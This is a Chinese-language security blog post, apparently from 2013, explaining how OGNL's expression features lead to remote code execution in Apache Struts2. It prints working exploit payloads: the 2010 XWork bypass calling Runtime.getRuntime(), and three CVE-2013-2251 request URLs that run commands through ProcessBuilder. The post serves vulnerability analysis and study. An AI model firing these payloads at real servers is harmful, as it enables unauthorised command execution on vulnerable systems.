OGNL设计及使用不当造成的远程代码执行漏洞

紫气东来 2013-07-19 14:48:00

我们可以把OGNL作为一个底层产品,它在功能实现中的设计缺陷,是如何能够被利用并远程执行恶意代码的,而不是完全在struts2这个产品的功能设计层面去讨论漏洞原由!

什么是OGNL?

OGNL是Object-Graph Navigation Language的缩写,它是一种功能强大的表达式语言(Expression Language,简称为EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。OGNL三要素:(以下部分摘抄互联网某处,我觉得说得好)

Ognl.setValue("department.name", user2, "dev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue("department.name", user2, "dev");

System.out.println(user2.getDepartment().getName());

Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");

System.out.println(user2.getDepartment().getName());

1. 表达式(Expression)

表达式是整个OGNL的核心,所有的OGNL操作都是针对表达式的解析后进行的。表达式会规定此次OGNL操作到底要干什么。我们可以看到,在上面的测试中,name、department.name等都是表达式,表示取name或者department中的name的值。OGNL支持很多类型的表达式,之后我们会看到更多。

2. 根对象(Root Object)

根对象可以理解为OGNL的操作对象。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。在上面的测试代码中,user就是根对象。这就意味着,我们需要对user这个对象去取name这个属性的值(对user这个对象去设置其中的department中的name属性值)。

3. 上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用OGNL的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在OGNL的内部,所有的操作都会在一个特定的环境中运行,这个环境就是OGNL的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定OGNL的操作“在哪里干”。 OGN L的上下文环境是一个Map结构,称之为OgnlContext。上面我们提到的根对象(Root Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root Object)的存取操作的表达式是不需要增加#符号进行区分的。

Struts 2中的OGNL Context实现者为ActionContext,它结构示意图如下:

当Struts2接受一个请求时,会迅速创建ActionContext,ValueStack,action 。然后把action存放进ValueStack,所以action的实例变量可以被OGNL访问

那struts2引入OGNL到底用来干什么?

我们知道在MVC中,其实所有的工作就是在各层间做数据流转.

在View层的数据是单一的,只有不带数据类型的字符串.在没有框架的时代我们使用的是手动写代码或者像struts1一样利用反射,填充表单数据并转换到Controller层的对象中,反射转换成java数据类型的commons组件伪代码,如:

import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.beanutils.ConvertUtils;
import org.apache.commons.beanutils.PropertyUtils;

//自动装载表单及验证
public class LoadForm {
    //表单装载
    public static Object parseRequest(HttpServletRequest request,HttpServletResponse response,Object bean) throws ServletException, IOException{
           //取得所有参数列表
           Enumeration<?> enums = request.getParameterNames();
           //遍历所有参数列表
           while(enums.hasMoreElements()){
            Object obj = enums.nextElement();
            try {
             //取得这个参数在Bean中的数据类开
             Class<?> cls = PropertyUtils.getPropertyType(bean, obj.toString());
             //把相应的数据转换成对应的数据类型
             Object beanValue = ConvertUtils.convert(request.getParameter(obj.toString()), cls);
             //填充Bean值
             PropertyUtils.setProperty(bean, obj.toString(), beanValue);
            } catch (Exception e) {
                //不显示异常 e.printStackTrace();
            }
           }
           return bean;
        }   
    }

从Controller层到View层,还是手动写代码然后到页面上取,如伪代码:

request.setAttribute("xxx", "xxx");

而Struts2采纳了XWork的一套完美方案(Xwork提供了很多核心功能:前端拦截机(interceptor),运行时表单属性验证,类型转换,强大的表达式语言(OGNL – the Object Graph Navigation Language),IoC(Inversion of Control反转控制)容器等). 并在此基础上构建一套所谓完美的机制,OGNL方案和OGNLValueStack机制.

View层到Controller层自动转储;然后是Controller层到View层,我们可以使用简易的表达式取对象数据显示到页面,如: ${对象.属性},节省不少代码时间且使用方便.而它的存储结构就是一棵对象,这里我们可以把对象树当成一个java对象寄存器,可以方便添加、访问对象等。 但是OGNL的这些功能或机制是危险的.

我们列举一下表达式功能操作清单:

1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行
例如xxxxxxxx.xxxxxxxx. xxxx. xxxx. xxxx. xxxx

2. 对容器变量的访问
对容器变量的访问通过#符号加上表达式进行
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外还能使用 mod, in, not in等

4. 容器数组对象
OGNL支持对数组和ArrayList等容器的顺序访问例如group.users[0]
同时OGNL支持对Map的按键值查找
例如:#session['mySessionPropKey']
不仅如此OGNL还支持容器的构造的表达式
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如new Java.net.URL("xxxxxx/")

5. 对静态方法或变量的访问
要引用类的静态方法和字段他们的表达方式是一样的@class@member或者@class@method(args)
例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources

6. 方法调用
直接通过类似Java的方法调用方式进行你甚至可以传递参数
例如user.getName()group.users.size()group.containsUser(#requestUser)

7. 投影和选择
OGNL支持类似数据库中的投影projection 和选择selection)。
投影就是选出集合中每个元素的相同属性组成新的集合类似于关系数据库的字段操作投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性
例如group.userList.{username}将获得某个group中的所有user的name的列表
选择就是过滤满足selection 条件的集合元素类似于关系数据库的纪录操作选择操作的语法为collection.{X YYY},其中X 是一个选择操作符后面则是选择用的逻辑表达式而选择操作符有三种
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表

结合之前的漏洞POC,只举两例漏洞说明本质问题所在(其他类似,如:安全限制绕过,非必要使用OGNL或奇葩地利用OGNL实现设计功能等).那么只要struts2的某些功能使用了OGNL功能,且外部参数传入OGNL流程的,理论上都是能够执行恶意代码的.

参照之前的PoC从“表达式功能操作清单”中选取“危险项清单”,一些危险的功能操作,问题就出现在它们身上,提供了比较有危害PoC的构造条件:

1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行
例如xxxxxxxx.xxxxxxxx. xxxx. xxxx. xxxx. xxxx

2. 对容器变量的访问
对容器变量的访问通过#符号加上表达式进行
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx

3. 容器数组对象
OGNL支持对数组和ArrayList等容器的顺序访问例如group.users[0]
同时OGNL支持对Map的按键值查找
例如:#session['mySessionPropKey']
不仅如此OGNL还支持容器的构造的表达式
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如new Java.net.URL("xxxxxx/")

4. 对静态方法或变量的访问
要引用类的静态方法和字段他们的表达方式是一样的@class@member或者@class@method(args)
例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources

5. 方法调用
直接通过类似Java的方法调用方式进行你甚至可以传递参数
例如user.getName()group.users.size()group.containsUser(#requestUser)

以及上下文环境和这个struts2设计,当Struts2接受一个请求时,会迅速创建ActionContext,ValueStack,action 。然后把action存放进ValueStack,所以action的实例变量可以被OGNL访问。

第一个,是2010年7月14号(亮点1:乌云好象就是这天出生的吧?),"Struts2/XWork < 2.2.0远程执行任意代码漏洞",POC:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&amp;(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&amp;(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

也就是这个经典的POC,大家开始第一次认识struts2漏洞(之前也有,只是那时很少有人去关注,或许很容易就能找到一个0day(而且是永远的0day,回溯一下框架历史,我不能再提示了!)。 myibatis框架也有引入OGNL的,亲!

由于ONGL的调用可以通过http传参来执行,为了防止攻击者以此来调用任意方法,Xwork设置了两个参数来进行防护:

OgnlContext的属性 'xwork.MethodAccessor.denyMethodExecution'(默认为真)
SecurityMemberAccess私有字段'allowStaticMethodAccess'(默认为假)

(这里我现在还没想明白,既然都有这步限制了?为什么后面的那些还会出现,难道官方只会看着公布的PoC打补丁?)

这里大家都知道,是使用#限制OgnlContext 'xwork.MethodAccessor.denyMethodExecution'和'allowStaticMethodAccess'上下文访问以及静态方法调用的值设置.而漏洞作者使用十六进制编码绕过了限制,从而调用@java.lang.Runtime@getRuntime()这个静态方法执行命令.

java.lang.Runtime.getRuntime().exit(1) (终止当前正在运行的 Java 虚拟机)

在某些struts2漏洞中已经开始改变这个观念,因为我们很难再绕过上面的安全限制了.去调用上下文的属性及静态方法执行恶意java代码.

但是"危险清单"中还有一个可以利用,OGNL表达式中居然可以去new一个java对象(见危险项清单 3.),对于构造PoC足够用了,而不需要上面那些条件.(之前也有类似的相关漏洞,我发现官方并不喜欢做代码审计的)

Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities

这里漏洞原理大致是这样,作者一共提供了三个PoC:

http://www.example.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} (这个和后面两个是有点区别的,多测试目标时你会发现!)

http://www.example.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://www.example.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} 

action:
redirect:
redirectAction:

这三关键字是struts2设计出来做短地址导航的,但它奇葩地方在于,如:redirectAction:${恶意代码}后面可以跟OGNL表达式执行,找这种相关的漏洞很好找(如果还有),查看struts2源代码${},%{}等(struts2只认定这些特征的代码进入OGNL表达式执行流程),struts2执行ognl表达式的实现功能的地方.

而java.lang.ProcessBuilder是另外一个可以执行命令的java基础类,还有后面大家手中的PoC(new文件操作及输入输出流相关危险类等),此时我们发现只要new对象然后调用其方法就可以了.不再需要上面的一些静态方法等.

这里只能将OGNL和struts2各打50大板了!

评论

V

VIP 2013-07-19 15:41:29

学习了

X

Xeyes 2013-07-21 02:27:43

涨姿势栏~~~~~~~~`

紫气东来 2013-07-21 12:50:18

修正信息:(见危险项清单 4.)改为(见危险项清单 3.)

瞌睡龙 2013-07-22 14:18:59

已修改~

小贱人 2014-03-13 00:27:20

学习学习

小贱人 2014-03-19 23:27:58

看起来很不错的样子

T

test 2014-12-15 16:42:35

当时就不应该拿着老大给的工具去做测试。被抓到包了。不想说我是谁了,哎。

随机分类

Java安全 文章:34 篇
密码学 文章:13 篇
浏览器安全 文章:36 篇
数据分析与机器学习 文章:12 篇
Android 文章:89 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录